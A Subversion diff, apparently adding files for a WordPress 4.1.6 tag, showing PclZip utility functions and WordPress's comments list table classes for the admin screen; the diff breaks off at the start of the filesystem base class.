+  //   This function indicates if the path $p_path is under the $p_dir tree. Or,
+  //   said in an other way, if the file or sub-dir $p_path is inside the dir
+  //   $p_dir.
+  //   The function indicates also if the path is exactly the same as the dir.
+  //   This function supports path with duplicated '/' like '//', but does not
+  //   support '.' or '..' statements.
+  // Parameters :
+  // Return Values :
+  //   0 if $p_path is not inside directory $p_dir
+  //   1 if $p_path is inside directory $p_dir
+  //   2 if $p_path is exactly the same as $p_dir
+  // --------------------------------------------------------------------------------
+  function PclZipUtilPathInclusion($p_dir, $p_path)
+  {
+    $v_result = 1;
+
+    // ----- Look for path beginning by ./
+    if (   ($p_dir == '.')
+        || ((strlen($p_dir) >=2) && (substr($p_dir, 0, 2) == './'))) {
+      $p_dir = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_dir, 1);
+    }
+    if (   ($p_path == '.')
+        || ((strlen($p_path) >=2) && (substr($p_path, 0, 2) == './'))) {
+      $p_path = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_path, 1);
+    }
+
+    // ----- Explode dir and path by directory separator
+    $v_list_dir = explode("/", $p_dir);
+    $v_list_dir_size = sizeof($v_list_dir);
+    $v_list_path = explode("/", $p_path);
+    $v_list_path_size = sizeof($v_list_path);
+
+    // ----- Study directories paths
+    $i = 0;
+    $j = 0;
+    while (($i < $v_list_dir_size) && ($j < $v_list_path_size) && ($v_result)) {
+
+      // ----- Look for empty dir (path reduction)
+      if ($v_list_dir[$i] == '') {
+        $i++;
+        continue;
+      }
+      if ($v_list_path[$j] == '') {
+        $j++;
+        continue;
+      }
+
+      // ----- Compare the items
+      if (($v_list_dir[$i] != $v_list_path[$j]) && ($v_list_dir[$i] != '') && ( $v_list_path[$j] != ''))  {
+        $v_result = 0;
+      }
+
+      // ----- Next items
+      $i++;
+      $j++;
+    }
+
+    // ----- Look if everything seems to be the same
+    if ($v_result) {
+      // ----- Skip all the empty items
+      while (($j < $v_list_path_size) && ($v_list_path[$j] == '')) $j++;
+      while (($i < $v_list_dir_size) && ($v_list_dir[$i] == '')) $i++;
+
+      if (($i >= $v_list_dir_size) && ($j >= $v_list_path_size)) {
+        // ----- There are exactly the same
+        $v_result = 2;
+      }
+      else if ($i < $v_list_dir_size) {
+        // ----- The path is shorter than the dir
+        $v_result = 0;
+      }
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZipUtilCopyBlock()
+  // Description :
+  // Parameters :
+  //   $p_mode : read/write compression mode
+  //             0 : src & dest normal
+  //             1 : src gzip, dest normal
+  //             2 : src normal, dest gzip
+  //             3 : src & dest gzip
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function PclZipUtilCopyBlock($p_src, $p_dest, $p_size, $p_mode=0)
+  {
+    $v_result = 1;
+
+    if ($p_mode==0)
+    {
+      while ($p_size != 0)
+      {
+        $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
+        $v_buffer = @fread($p_src, $v_read_size);
+        @fwrite($p_dest, $v_buffer, $v_read_size);
+        $p_size -= $v_read_size;
+      }
+    }
+    else if ($p_mode==1)
+    {
+      while ($p_size != 0)
+      {
+        $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
+        $v_buffer = @gzread($p_src, $v_read_size);
+        @fwrite($p_dest, $v_buffer, $v_read_size);
+        $p_size -= $v_read_size;
+      }
+    }
+    else if ($p_mode==2)
+    {
+      while ($p_size != 0)
+      {
+        $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
+        $v_buffer = @fread($p_src, $v_read_size);
+        @gzwrite($p_dest, $v_buffer, $v_read_size);
+        $p_size -= $v_read_size;
+      }
+    }
+    else if ($p_mode==3)
+    {
+      while ($p_size != 0)
+      {
+        $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
+        $v_buffer = @gzread($p_src, $v_read_size);
+        @gzwrite($p_dest, $v_buffer, $v_read_size);
+        $p_size -= $v_read_size;
+      }
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZipUtilRename()
+  // Description :
+  //   This function tries to do a simple rename() function. If it fails, it
+  //   tries to copy the $p_src file in a new $p_dest file and then unlink the
+  //   first one.
+  // Parameters :
+  //   $p_src : Old filename
+  //   $p_dest : New filename
+  // Return Values :
+  //   1 on success, 0 on failure.
+  // --------------------------------------------------------------------------------
+  function PclZipUtilRename($p_src, $p_dest)
+  {
+    $v_result = 1;
+
+    // ----- Try to rename the files
+    if (!@rename($p_src, $p_dest)) {
+
+      // ----- Try to copy & unlink the src
+      if (!@copy($p_src, $p_dest)) {
+        $v_result = 0;
+      }
+      else if (!@unlink($p_src)) {
+        $v_result = 0;
+      }
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZipUtilOptionText()
+  // Description :
+  //   Translate option value in text. Mainly for debug purpose.
+  // Parameters :
+  //   $p_option : the option value.
+  // Return Values :
+  //   The option text value.
+  // --------------------------------------------------------------------------------
+  function PclZipUtilOptionText($p_option)
+  {
+
+    $v_list = get_defined_constants();
+    for (reset($v_list); $v_key = key($v_list); next($v_list)) {
+	    $v_prefix = substr($v_key, 0, 10);
+	    if ((   ($v_prefix == 'PCLZIP_OPT')
+           || ($v_prefix == 'PCLZIP_CB_')
+           || ($v_prefix == 'PCLZIP_ATT'))
+	        && ($v_list[$v_key] == $p_option)) {
+        return $v_key;
+	    }
+    }
+
+    $v_result = 'Unknown';
+
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZipUtilTranslateWinPath()
+  // Description :
+  //   Translate windows path by replacing '\' by '/' and optionally removing
+  //   drive letter.
+  // Parameters :
+  //   $p_path : path to translate.
+  //   $p_remove_disk_letter : true | false
+  // Return Values :
+  //   The path translated.
+  // --------------------------------------------------------------------------------
+  function PclZipUtilTranslateWinPath($p_path, $p_remove_disk_letter=true)
+  {
+    if (stristr(php_uname(), 'windows')) {
+      // ----- Look for potential disk letter
+      if (($p_remove_disk_letter) && (($v_position = strpos($p_path, ':')) != false)) {
+          $p_path = substr($p_path, $v_position+1);
+      }
+      // ----- Change potential windows directory separator
+      if ((strpos($p_path, '\\') > 0) || (substr($p_path, 0,1) == '\\')) {
+          $p_path = strtr($p_path, '\\', '/');
+      }
+    }
+    return $p_path;
+  }
+  // --------------------------------------------------------------------------------
+
+
+?>
Index: /tags/4.1.6/src/wp-admin/includes/class-wp-comments-list-table.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-wp-comments-list-table.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-wp-comments-list-table.php	(revision 33402)
@@ -0,0 +1,638 @@
+<?php
+/**
+ * Comments and Post Comments List Table classes.
+ *
+ * @package WordPress
+ * @subpackage List_Table
+ * @since 3.1.0
+ */
+
+/**
+ * Comments List Table class.
+ *
+ * @package WordPress
+ * @subpackage List_Table
+ * @since 3.1.0
+ * @access private
+ */
+class WP_Comments_List_Table extends WP_List_Table {
+
+	public $checkbox = true;
+
+	public $pending_count = array();
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 *
+	 * @see WP_List_Table::__construct() for more information on default arguments.
+	 *
+	 * @param array $args An associative array of arguments.
+	 */
+	public function __construct( $args = array() ) {
+		global $post_id;
+
+		$post_id = isset( $_REQUEST['p'] ) ? absint( $_REQUEST['p'] ) : 0;
+
+		if ( get_option('show_avatars') )
+			add_filter( 'comment_author', 'floated_admin_avatar' );
+
+		parent::__construct( array(
+			'plural' => 'comments',
+			'singular' => 'comment',
+			'ajax' => true,
+			'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
+		) );
+	}
+
+	public function ajax_user_can() {
+		return current_user_can('edit_posts');
+	}
+
+	public function prepare_items() {
+		global $post_id, $comment_status, $search, $comment_type;
+
+		$comment_status = isset( $_REQUEST['comment_status'] ) ? $_REQUEST['comment_status'] : 'all';
+		if ( !in_array( $comment_status, array( 'all', 'moderated', 'approved', 'spam', 'trash' ) ) )
+			$comment_status = 'all';
+
+		$comment_type = !empty( $_REQUEST['comment_type'] ) ? $_REQUEST['comment_type'] : '';
+
+		$search = ( isset( $_REQUEST['s'] ) ) ? $_REQUEST['s'] : '';
+
+		$post_type = ( isset( $_REQUEST['post_type'] ) ) ? sanitize_key( $_REQUEST['post_type'] ) : '';
+
+		$user_id = ( isset( $_REQUEST['user_id'] ) ) ? $_REQUEST['user_id'] : '';
+
+		$orderby = ( isset( $_REQUEST['orderby'] ) ) ? $_REQUEST['orderby'] : '';
+		$order = ( isset( $_REQUEST['order'] ) ) ? $_REQUEST['order'] : '';
+
+		$comments_per_page = $this->get_per_page( $comment_status );
+
+		$doing_ajax = defined( 'DOING_AJAX' ) && DOING_AJAX;
+
+		if ( isset( $_REQUEST['number'] ) ) {
+			$number = (int) $_REQUEST['number'];
+		}
+		else {
+			$number = $comments_per_page + min( 8, $comments_per_page ); // Grab a few extra
+		}
+
+		$page = $this->get_pagenum();
+
+		if ( isset( $_REQUEST['start'] ) ) {
+			$start = $_REQUEST['start'];
+		} else {
+			$start = ( $page - 1 ) * $comments_per_page;
+		}
+
+		if ( $doing_ajax && isset( $_REQUEST['offset'] ) ) {
+			$start += $_REQUEST['offset'];
+		}
+
+		$status_map = array(
+			'moderated' => 'hold',
+			'approved' => 'approve',
+			'all' => '',
+		);
+
+		$args = array(
+			'status' => isset( $status_map[$comment_status] ) ? $status_map[$comment_status] : $comment_status,
+			'search' => $search,
+			'user_id' => $user_id,
+			'offset' => $start,
+			'number' => $number,
+			'post_id' => $post_id,
+			'type' => $comment_type,
+			'orderby' => $orderby,
+			'order' => $order,
+			'post_type' => $post_type,
+		);
+
+		$_comments = get_comments( $args );
+
+		update_comment_cache( $_comments );
+
+		$this->items = array_slice( $_comments, 0, $comments_per_page );
+		$this->extra_items = array_slice( $_comments, $comments_per_page );
+
+		$total_comments = get_comments( array_merge( $args, array('count' => true, 'offset' => 0, 'number' => 0) ) );
+
+		$_comment_post_ids = array();
+		foreach ( $_comments as $_c ) {
+			$_comment_post_ids[] = $_c->comment_post_ID;
+		}
+
+		$_comment_post_ids = array_unique( $_comment_post_ids );
+
+		$this->pending_count = get_pending_comments_num( $_comment_post_ids );
+
+		$this->set_pagination_args( array(
+			'total_items' => $total_comments,
+			'per_page' => $comments_per_page,
+		) );
+	}
+
+	public function get_per_page( $comment_status = 'all' ) {
+		$comments_per_page = $this->get_items_per_page( 'edit_comments_per_page' );
+		/**
+		 * Filter the number of comments listed per page in the comments list table.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @param int    $comments_per_page The number of comments to list per page.
+		 * @param string $comment_status    The comment status name. Default 'All'.
+		 */
+		$comments_per_page = apply_filters( 'comments_per_page', $comments_per_page, $comment_status );
+		return $comments_per_page;
+	}
+
+	public function no_items() {
+		global $comment_status;
+
+		if ( 'moderated' == $comment_status )
+			_e( 'No comments awaiting moderation.' );
+		else
+			_e( 'No comments found.' );
+	}
+
+	protected function get_views() {
+		global $post_id, $comment_status, $comment_type;
+
+		$status_links = array();
+		$num_comments = ( $post_id ) ? wp_count_comments( $post_id ) : wp_count_comments();
+		//, number_format_i18n($num_comments->moderated) ), "<span class='comment-count'>" . number_format_i18n($num_comments->moderated) . "</span>"),
+		//, number_format_i18n($num_comments->spam) ), "<span class='spam-comment-count'>" . number_format_i18n($num_comments->spam) . "</span>")
+		$stati = array(
+				'all' => _nx_noop('All', 'All', 'comments'), // singular not used
+				'moderated' => _n_noop('Pending <span class="count">(<span class="pending-count">%s</span>)</span>', 'Pending <span class="count">(<span class="pending-count">%s</span>)</span>'),
+				'approved' => _n_noop('Approved', 'Approved'), // singular not used
+				'spam' => _n_noop('Spam <span class="count">(<span class="spam-count">%s</span>)</span>', 'Spam <span class="count">(<span class="spam-count">%s</span>)</span>'),
+				'trash' => _n_noop('Trash <span class="count">(<span class="trash-count">%s</span>)</span>', 'Trash <span class="count">(<span class="trash-count">%s</span>)</span>')
+			);
+
+		if ( !EMPTY_TRASH_DAYS )
+			unset($stati['trash']);
+
+		$link = 'edit-comments.php';
+		if ( !empty($comment_type) && 'all' != $comment_type )
+			$link = add_query_arg( 'comment_type', $comment_type, $link );
+
+		foreach ( $stati as $status => $label ) {
+			$class = ( $status == $comment_status ) ? ' class="current"' : '';
+
+			if ( !isset( $num_comments->$status ) )
+				$num_comments->$status = 10;
+			$link = add_query_arg( 'comment_status', $status, $link );
+			if ( $post_id )
+				$link = add_query_arg( 'p', absint( $post_id ), $link );
+			/*
+			// I toyed with this, but decided against it. Leaving it in here in case anyone thinks it is a good idea. ~ Mark
+			if ( !empty( $_REQUEST['s'] ) )
+				$link = add_query_arg( 's', esc_attr( wp_unslash( $_REQUEST['s'] ) ), $link );
+			*/
+			$status_links[$status] = "<a href='$link'$class>" . sprintf(
+				translate_nooped_plural( $label, $num_comments->$status ),
+				number_format_i18n( $num_comments->$status )
+			) . '</a>';
+		}
+
+		/**
+		 * Filter the comment status links.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param array $status_links An array of fully-formed status links. Default 'All'.
+		 *                            Accepts 'All', 'Pending', 'Approved', 'Spam', and 'Trash'.
+		 */
+		$status_links = apply_filters( 'comment_status_links', $status_links );
+		return $status_links;
+	}
+
+	protected function get_bulk_actions() {
+		global $comment_status;
+
+		$actions = array();
+		if ( in_array( $comment_status, array( 'all', 'approved' ) ) )
+			$actions['unapprove'] = __( 'Unapprove' );
+		if ( in_array( $comment_status, array( 'all', 'moderated' ) ) )
+			$actions['approve'] = __( 'Approve' );
+		if ( in_array( $comment_status, array( 'all', 'moderated', 'approved', 'trash' ) ) )
+			$actions['spam'] = _x( 'Mark as Spam', 'comment' );
+
+		if ( 'trash' == $comment_status )
+			$actions['untrash'] = __( 'Restore' );
+		elseif ( 'spam' == $comment_status )
+			$actions['unspam'] = _x( 'Not Spam', 'comment' );
+
+		if ( in_array( $comment_status, array( 'trash', 'spam' ) ) || !EMPTY_TRASH_DAYS )
+			$actions['delete'] = __( 'Delete Permanently' );
+		else
+			$actions['trash'] = __( 'Move to Trash' );
+
+		return $actions;
+	}
+
+	protected function extra_tablenav( $which ) {
+		global $comment_status, $comment_type;
+?>
+		<div class="alignleft actions">
+<?php
+		if ( 'top' == $which ) {
+?>
+			<label class="screen-reader-text" for="filter-by-comment-type"><?php _e( 'Filter by comment type' ); ?></label>
+			<select id="filter-by-comment-type" name="comment_type">
+				<option value=""><?php _e( 'All comment types' ); ?></option>
+<?php
+				/**
+				 * Filter the comment types dropdown menu.
+				 *
+				 * @since 2.7.0
+				 *
+				 * @param array $comment_types An array of comment types. Accepts 'Comments', 'Pings'.
+				 */
+				$comment_types = apply_filters( 'admin_comment_types_dropdown', array(
+					'comment' => __( 'Comments' ),
+					'pings' => __( 'Pings' ),
+				) );
+
+				foreach ( $comment_types as $type => $label )
+					echo "\t" . '<option value="' . esc_attr( $type ) . '"' . selected( $comment_type, $type, false ) . ">$label</option>\n";
+			?>
+			</select>
+<?php
+			/**
+			 * Fires just before the Filter submit button for comment types.
+			 *
+			 * @since 3.5.0
+			 */
+			do_action( 'restrict_manage_comments' );
+			submit_button( __( 'Filter' ), 'button', 'filter_action', false, array( 'id' => 'post-query-submit' ) );
+		}
+
+		if ( ( 'spam' == $comment_status || 'trash' == $comment_status ) && current_user_can( 'moderate_comments' ) ) {
+			wp_nonce_field( 'bulk-destroy', '_destroy_nonce' );
+			$title = ( 'spam' == $comment_status ) ? esc_attr__( 'Empty Spam' ) : esc_attr__( 'Empty Trash' );
+			submit_button( $title, 'apply', 'delete_all', false );
+		}
+		/**
+		 * Fires after the Filter submit button for comment types.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param string $comment_status The comment status name. Default 'All'.
+		 */
+		do_action( 'manage_comments_nav', $comment_status );
+		echo '</div>';
+	}
+
+	public function current_action() {
+		if ( isset( $_REQUEST['delete_all'] ) || isset( $_REQUEST['delete_all2'] ) )
+			return 'delete_all';
+
+		return parent::current_action();
+	}
+
+	public function get_columns() {
+		global $post_id;
+
+		$columns = array();
+
+		if ( $this->checkbox )
+			$columns['cb'] = '<input type="checkbox" />';
+
+		$columns['author'] = __( 'Author' );
+		$columns['comment'] = _x( 'Comment', 'column name' );
+
+		if ( !$post_id )
+			$columns['response'] = _x( 'In Response To', 'column name' );
+
+		return $columns;
+	}
+
+	protected function get_sortable_columns() {
+		return array(
+			'author'   => 'comment_author',
+			'response' => 'comment_post_ID'
+		);
+	}
+
+	public function display() {
+		wp_nonce_field( "fetch-list-" . get_class( $this ), '_ajax_fetch_list_nonce' );
+
+		$this->display_tablenav( 'top' );
+
+?>
+<table class="<?php echo implode( ' ', $this->get_table_classes() ); ?>">
+	<thead>
+	<tr>
+		<?php $this->print_column_headers(); ?>
+	</tr>
+	</thead>
+
+	<tfoot>
+	<tr>
+		<?php $this->print_column_headers( false ); ?>
+	</tr>
+	</tfoot>
+
+	<tbody id="the-comment-list" data-wp-lists="list:comment">
+		<?php $this->display_rows_or_placeholder(); ?>
+	</tbody>
+
+	<tbody id="the-extra-comment-list" data-wp-lists="list:comment" style="display: none;">
+		<?php $this->items = $this->extra_items; $this->display_rows(); ?>
+	</tbody>
+</table>
+<?php
+
+		$this->display_tablenav( 'bottom' );
+	}
+
+	public function single_row( $a_comment ) {
+		global $post, $comment;
+
+		$comment = $a_comment;
+		$the_comment_class = wp_get_comment_status( $comment->comment_ID );
+		$the_comment_class = join( ' ', get_comment_class( $the_comment_class, $comment->comment_ID, $comment->comment_post_ID ) );
+
+		$post = get_post( $comment->comment_post_ID );
+
+		$this->user_can = current_user_can( 'edit_comment', $comment->comment_ID );
+
+		echo "<tr id='comment-$comment->comment_ID' class='$the_comment_class'>";
+		$this->single_row_columns( $comment );
+		echo "</tr>\n";
+	}
+
+	public function column_cb( $comment ) {
+		if ( $this->user_can ) { ?>
+		<label class="screen-reader-text" for="cb-select-<?php echo $comment->comment_ID; ?>"><?php _e( 'Select comment' ); ?></label>
+		<input id="cb-select-<?php echo $comment->comment_ID; ?>" type="checkbox" name="delete_comments[]" value="<?php echo $comment->comment_ID; ?>" />
+		<?php
+		}
+	}
+
+	public function column_comment( $comment ) {
+		global $comment_status;
+		$post = get_post();
+
+		$user_can = $this->user_can;
+
+		$comment_url = esc_url( get_comment_link( $comment->comment_ID ) );
+		$the_comment_status = wp_get_comment_status( $comment->comment_ID );
+
+		if ( $user_can ) {
+			$del_nonce = esc_html( '_wpnonce=' . wp_create_nonce( "delete-comment_$comment->comment_ID" ) );
+			$approve_nonce = esc_html( '_wpnonce=' . wp_create_nonce( "approve-comment_$comment->comment_ID" ) );
+
+			$url = "comment.php?c=$comment->comment_ID";
+
+			$approve_url = esc_url( $url . "&action=approvecomment&$approve_nonce" );
+			$unapprove_url = esc_url( $url . "&action=unapprovecomment&$approve_nonce" );
+			$spam_url = esc_url( $url . "&action=spamcomment&$del_nonce" );
+			$unspam_url = esc_url( $url . "&action=unspamcomment&$del_nonce" );
+			$trash_url = esc_url( $url . "&action=trashcomment&$del_nonce" );
+			$untrash_url = esc_url( $url . "&action=untrashcomment&$del_nonce" );
+			$delete_url = esc_url( $url . "&action=deletecomment&$del_nonce" );
+		}
+
+		echo '<div class="comment-author">';
+			$this->column_author( $comment );
+		echo '</div>';
+
+		echo '<div class="submitted-on">';
+		/* translators: 2: comment date, 3: comment time */
+		printf( __( 'Submitted on <a href="%1$s">%2$s at %3$s</a>' ), $comment_url,
+			/* translators: comment date format. See http://php.net/date */
+			get_comment_date( __( 'Y/m/d' ) ),
+			get_comment_date( get_option( 'time_format' ) )
+		);
+
+		if ( $comment->comment_parent ) {
+			$parent = get_comment( $comment->comment_parent );
+			$parent_link = esc_url( get_comment_link( $comment->comment_parent ) );
+			$name = get_comment_author( $parent->comment_ID );
+			printf( ' | '.__( 'In reply to <a href="%1$s">%2$s</a>.' ), $parent_link, $name );
+		}
+
+		echo '</div>';
+		comment_text();
+		if ( $user_can ) { ?>
+		<div id="inline-<?php echo $comment->comment_ID; ?>" class="hidden">
+		<textarea class="comment" rows="1" cols="1"><?php
+			/** This filter is documented in wp-admin/includes/comment.php */
+			echo esc_textarea( apply_filters( 'comment_edit_pre', $comment->comment_content ) );
+		?></textarea>
+		<div class="author-email"><?php echo esc_attr( $comment->comment_author_email ); ?></div>
+		<div class="author"><?php echo esc_attr( $comment->comment_author ); ?></div>
+		<div class="author-url"><?php echo esc_attr( $comment->comment_author_url ); ?></div>
+		<div class="comment_status"><?php echo $comment->comment_approved; ?></div>
+		</div>
+		<?php
+		}
+
+		if ( $user_can ) {
+			// Preorder it: Approve | Reply | Quick Edit | Edit | Spam | Trash.
+			$actions = array(
+				'approve' => '', 'unapprove' => '',
+				'reply' => '',
+				'quickedit' => '',
+				'edit' => '',
+				'spam' => '', 'unspam' => '',
+				'trash' => '', 'untrash' => '', 'delete' => ''
+			);
+
+			// Not looking at all comments.
+			if ( $comment_status && 'all' != $comment_status ) {
+				if ( 'approved' == $the_comment_status )
+					$actions['unapprove'] = "<a href='$unapprove_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID:e7e7d3:action=dim-comment&amp;new=unapproved' class='vim-u vim-destructive' title='" . esc_attr__( 'Unapprove this comment' ) . "'>" . __( 'Unapprove' ) . '</a>';
+				else if ( 'unapproved' == $the_comment_status )
+					$actions['approve'] = "<a href='$approve_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID:e7e7d3:action=dim-comment&amp;new=approved' class='vim-a vim-destructive' title='" . esc_attr__( 'Approve this comment' ) . "'>" . __( 'Approve' ) . '</a>';
+			} else {
+				$actions['approve'] = "<a href='$approve_url' data-wp-lists='dim:the-comment-list:comment-$comment->comment_ID:unapproved:e7e7d3:e7e7d3:new=approved' class='vim-a' title='" . esc_attr__( 'Approve this comment' ) . "'>" . __( 'Approve' ) . '</a>';
+				$actions['unapprove'] = "<a href='$unapprove_url' data-wp-lists='dim:the-comment-list:comment-$comment->comment_ID:unapproved:e7e7d3:e7e7d3:new=unapproved' class='vim-u' title='" . esc_attr__( 'Unapprove this comment' ) . "'>" . __( 'Unapprove' ) . '</a>';
+			}
+
+			if ( 'spam' != $the_comment_status ) {
+				$actions['spam'] = "<a href='$spam_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID::spam=1' class='vim-s vim-destructive' title='" . esc_attr__( 'Mark this comment as spam' ) . "'>" . /* translators: mark as spam link */ _x( 'Spam', 'verb' ) . '</a>';
+			} elseif ( 'spam' == $the_comment_status ) {
+				$actions['unspam'] = "<a href='$unspam_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID:66cc66:unspam=1' class='vim-z vim-destructive'>" . _x( 'Not Spam', 'comment' ) . '</a>';
+			}
+
+			if ( 'trash' == $the_comment_status ) {
+				$actions['untrash'] = "<a href='$untrash_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID:66cc66:untrash=1' class='vim-z vim-destructive'>" . __( 'Restore' ) . '</a>';
+			}
+
+			if ( 'spam' == $the_comment_status || 'trash' == $the_comment_status || !EMPTY_TRASH_DAYS ) {
+				$actions['delete'] = "<a href='$delete_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID::delete=1' class='delete vim-d vim-destructive'>" . __( 'Delete Permanently' ) . '</a>';
+			} else {
+				$actions['trash'] = "<a href='$trash_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID::trash=1' class='delete vim-d vim-destructive' title='" . esc_attr__( 'Move this comment to the trash' ) . "'>" . _x( 'Trash', 'verb' ) . '</a>';
+			}
+
+			if ( 'spam' != $the_comment_status && 'trash' != $the_comment_status ) {
+				$actions['edit'] = "<a href='comment.php?action=editcomment&amp;c={$comment->comment_ID}' title='" . esc_attr__( 'Edit comment' ) . "'>". __( 'Edit' ) . '</a>';
+
+				$format = '<a data-comment-id="%d" data-post-id="%d" data-action="%s" class="%s" title="%s" href="#">%s</a>';
+
+				$actions['quickedit'] = sprintf( $format, $comment->comment_ID, $post->ID, 'edit', 'vim-q comment-inline', esc_attr__( 'Quick Edit' ), __( 'Quick Edit' ) );
+
+				$actions['reply'] = sprintf( $format, $comment->comment_ID, $post->ID, 'replyto', 'vim-r comment-inline', esc_attr__( 'Reply to this comment' ), __( 'Reply' ) );
+			}
+
+			/** This filter is documented in wp-admin/includes/dashboard.php */
+			$actions = apply_filters( 'comment_row_actions', array_filter( $actions ), $comment );
+
+			$i = 0;
+			echo '<div class="row-actions">';
+			foreach ( $actions as $action => $link ) {
+				++$i;
+				( ( ( 'approve' == $action || 'unapprove' == $action ) && 2 === $i ) || 1 === $i ) ? $sep = '' : $sep = ' | ';
+
+				// Reply and quickedit need a hide-if-no-js span when not added with ajax
+				if ( ( 'reply' == $action || 'quickedit' == $action ) && ! defined('DOING_AJAX') )
+					$action .= ' hide-if-no-js';
+				elseif ( ( $action == 'untrash' && $the_comment_status == 'trash' ) || ( $action == 'unspam' && $the_comment_status == 'spam' ) ) {
+					if ( '1' == get_comment_meta( $comment->comment_ID, '_wp_trash_meta_status', true ) )
+						$action .= ' approve';
+					else
+						$action .= ' unapprove';
+				}
+
+				echo "<span class='$action'>$sep$link</span>";
+			}
+			echo '</div>';
+		}
+	}
+
+	public function column_author( $comment ) {
+		global $comment_status;
+
+		$author_url = get_comment_author_url();
+		if ( 'http://' == $author_url )
+			$author_url = '';
+		$author_url_display = preg_replace( '|http://(www\.)?|i', '', $author_url );
+		if ( strlen( $author_url_display ) > 50 )
+			$author_url_display = substr( $author_url_display, 0, 49 ) . '&hellip;';
+
+		echo "<strong>"; comment_author(); echo '</strong><br />';
+		if ( !empty( $author_url ) )
+			echo "<a title='$author_url' href='$author_url'>$author_url_display</a><br />";
+
+		if ( $this->user_can ) {
+			if ( !empty( $comment->comment_author_email ) ) {
+				comment_author_email_link();
+				echo '<br />';
+			}
+
+			$author_ip = get_comment_author_IP();
+			if ( $author_ip ) {
+				$author_ip_url = add_query_arg( array( 's' => $author_ip, 'mode' => 'detail' ), 'edit-comments.php' );
+				if ( 'spam' == $comment_status ) {
+					$author_ip_url = add_query_arg( 'comment_status', 'spam', $author_ip_url );
+				}
+				printf( '<a href="%s">%s</a>', esc_url( $author_ip_url ), $author_ip );
+			}
+		}
+	}
+
+	public function column_date() {
+		return get_comment_date( __( 'Y/m/d \a\t g:ia' ) );
+	}
+
+	public function column_response() {
+		$post = get_post();
+
+		if ( isset( $this->pending_count[$post->ID] ) ) {
+			$pending_comments = $this->pending_count[$post->ID];
+		} else {
+			$_pending_count_temp = get_pending_comments_num( array( $post->ID ) );
+			$pending_comments = $this->pending_count[$post->ID] = $_pending_count_temp[$post->ID];
+		}
+
+		if ( current_user_can( 'edit_post', $post->ID ) ) {
+			$post_link = "<a href='" . get_edit_post_link( $post->ID ) . "'>";
+			$post_link .= esc_html( get_the_title( $post->ID ) ) . '</a>';
+		} else {
+			$post_link = esc_html( get_the_title( $post->ID ) );
+		}
+
+		echo '<div class="response-links"><span class="post-com-count-wrapper">';
+		echo $post_link . '<br />';
+		$this->comments_bubble( $post->ID, $pending_comments );
+		echo '</span> ';
+		$post_type_object = get_post_type_object( $post->post_type );
+		echo "<a href='" . get_permalink( $post->ID ) . "'>" . $post_type_object->labels->view_item . '</a>';
+		echo '</div>';
+		if ( 'attachment' == $post->post_type && ( $thumb = wp_get_attachment_image( $post->ID, array( 80, 60 ), true ) ) )
+			echo $thumb;
+	}
+
+	public function column_default( $comment, $column_name ) {
+		/**
+		 * Fires when the default column output is displayed for a single row.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param string $column_name         The custom column's name.
+		 * @param int    $comment->comment_ID The custom column's unique ID number.
+		 */
+		do_action( 'manage_comments_custom_column', $column_name, $comment->comment_ID );
+	}
+}
+
+/**
+ * Post Comments List Table class.
+ *
+ * @package WordPress
+ * @subpackage List_Table
+ * @since 3.1.0
+ * @access private
+ *
+ * @see WP_Comments_Table
+ */
+class WP_Post_Comments_List_Table extends WP_Comments_List_Table {
+
+	protected function get_column_info() {
+		$this->_column_headers = array(
+			array(
+			'author'   => __( 'Author' ),
+			'comment'  => _x( 'Comment', 'column name' ),
+			),
+			array(),
+			array(),
+		);
+
+		return $this->_column_headers;
+	}
+
+	protected function get_table_classes() {
+		$classes = parent::get_table_classes();
+		$classes[] = 'comments-box';
+		return $classes;
+	}
+
+	public function display( $output_empty = false ) {
+		$singular = $this->_args['singular'];
+
+		wp_nonce_field( "fetch-list-" . get_class( $this ), '_ajax_fetch_list_nonce' );
+?>
+<table class="<?php echo implode( ' ', $this->get_table_classes() ); ?>" style="display:none;">
+	<tbody id="the-comment-list"<?php
+		if ( $singular ) {
+			echo " data-wp-lists='list:$singular'";
+		} ?>>
+		<?php if ( ! $output_empty ) {
+			$this->display_rows_or_placeholder();
+		} ?>
+	</tbody>
+</table>
+<?php
+	}
+
+	public function get_per_page( $comment_status = false ) {
+		return 10;
+	}
+}
Index: /tags/4.1.6/src/wp-admin/includes/class-wp-filesystem-base.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-wp-filesystem-base.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-wp-filesystem-base.php	(revision 33402)
@@ -0,0 +1,815 @@
+<?php
+/**
+ * Base WordPress Filesystem
+ *
